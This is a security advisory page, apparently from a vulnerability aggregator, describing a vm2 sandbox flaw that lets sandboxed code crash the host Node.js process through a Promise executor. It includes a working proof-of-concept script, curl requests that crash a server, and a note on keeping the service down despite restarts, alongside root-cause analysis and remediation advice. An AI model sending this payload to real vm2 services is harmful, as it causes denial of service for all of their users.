vm2 CVE-2026-44001
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.
Details
When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.
lib/setup-sandbox.js:38-localPromisewraps the nativePromiseconstructor but does not wrap the executor in try-catch.lib/setup-sandbox.js:165-230-resetPromiseSpeciesand the.then()/.catch()overrides sanitize theonRejectedcallback chains, but do not intercept unhandled rejections originating from the executor itself.
The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.
Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.
allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is *guaranteed* to be unhandled - making allowAsync: false paradoxically more dangerous than true for this vulnerability.
PoC
Library-level PoC (Node.js script - primary):
const { VM } = require("vm2");
// Works with ANY allowAsync setting - both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });
try {
const result = vm.run(`
new Promise(function(r, j) {
var e = new Error();
e.name = Symbol();
e.stack;
});
`);
console.log("Result:", result); // Reaches here (returns Promise object)
} catch (err) {
console.log("Caught:", err); // Never executed
}
console.log("After try-catch"); // Also prints normally
// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help - vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE - .catch() is blocked,
// so the rejection is guaranteed to be unhandled.HTTP demonstration (web service impact):
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
-X POST -H "Content-Type: application/json" \
-d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}
# 2. Send payload - server process will crash
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'
# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/
# => connection refusedImpact
- DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default - no special configuration is required for the crash to occur.
- Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single
curlrequest caused the Docker container to restart (confirmed viaStartedAttimestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users - each restart is met with another crash before any real request can be served. - Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
- Scope: All applications using vm2, regardless of
allowAsyncsetting.allowAsync: falseonly blocksasync/awaitsyntax and.then()/.catch()method calls - thePromiseconstructor itself still executes, and the unhandled rejection still propagates. In fact,allowAsync: falsemakes the vulnerability *worse* because.catch()is blocked, guaranteeing the rejection is always unhandled.
AnalysisAI
Remote unauthenticated attackers can crash Node.js processes running vm2 <= 3.10.5 by triggering an unhandled Promise rejection that terminates the host application. The vulnerability exploits an incomplete fix for CVE-2026-22709 - while previous patches sanitized .then() and .catch() callback chains, they failed to intercept unhandled rejections originating from Promise constructor executors. Publicly available exploit code exists (GitHub advisory GHSA-hw58-p9xv-2mjh). The attack requires minimal resources (150-byte HTTP request) but achieves high impact by crashing entire server processes serving all concurrent users, with demonstrated persistent DoS despite container orchestration restart policies.
Technical ContextAI
vm2 is a Node.js sandbox library enabling safe execution of untrusted JavaScript code by isolating it from the host Node.js process. The vulnerability stems from CWE-248 (Uncaught Exception) in the Promise executor wrapping logic within lib/setup-sandbox.js. The localPromise wrapper (line 38) does not encapsulate executor functions in try-catch blocks, while the resetPromiseSpecies implementation (lines 165-230) only sanitizes rejection handlers in .then() and .catch() chains - not unhandled rejections originating from the executor itself. When sandboxed code creates a Promise whose executor sets Error.name to a Symbol and accesses .stack, V8's internal FormatStackTrace C++ code attempts Symbol.toString(), throwing a TypeError in the host realm. Since Node.js 15+ terminates processes on unhandled Promise rejections by default, this host-realm error propagates outside the sandbox and crashes the entire application. The allowAsync: false configuration setting paradoxically worsens the vulnerability - it blocks .catch() method calls while leaving the Promise constructor callable, guaranteeing all executor rejections remain unhandled.
RemediationAI
Immediately upgrade to vm2 v3.11.0 or later, released as a coordinated security update addressing 13 critical vulnerabilities including this process-crash DoS (confirmed in release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0). The v3.11.0 patch wraps Promise executor functions to intercept and sanitize unhandled rejections before they propagate to the host process. For systems unable to upgrade immediately, implement these compensating controls: (1) Add process-level unhandled rejection handlers (process.on('unhandledRejection', ...)) to catch and log errors without terminating - however this only prevents crashes, not the sandbox escape itself, and may mask other legitimate bugs in your application; (2) Deploy vm2 processes in isolated, automatically-restarted containers with aggressive health checks (< 5 second intervals) to minimize downtime windows, though testing confirms attackers can maintain persistent DoS through rapid re-exploitation; (3) Rate-limit and authenticate code execution endpoints to reduce attack surface, though this only slows exploitation against a fundamentally broken isolation boundary; (4) Consider migrating to alternative sandboxing solutions like isolated-vm (V8 isolates), WebAssembly sandboxes, or OS-level containers, as the GitHub advisory context reveals vm2 has systemic architectural weaknesses with 13 sandbox escapes patched in a single coordinated release. Note that the allowAsync: false configuration is NOT a mitigation and actively worsens this vulnerability. All workarounds are temporary - the only complete fix is upgrading to v3.11.0 or migrating away from vm2 for security-critical isolation requirements.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-248 – Uncaught Exception
View allSame technique Denial Of Service
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-hw58-p9xv-2mjh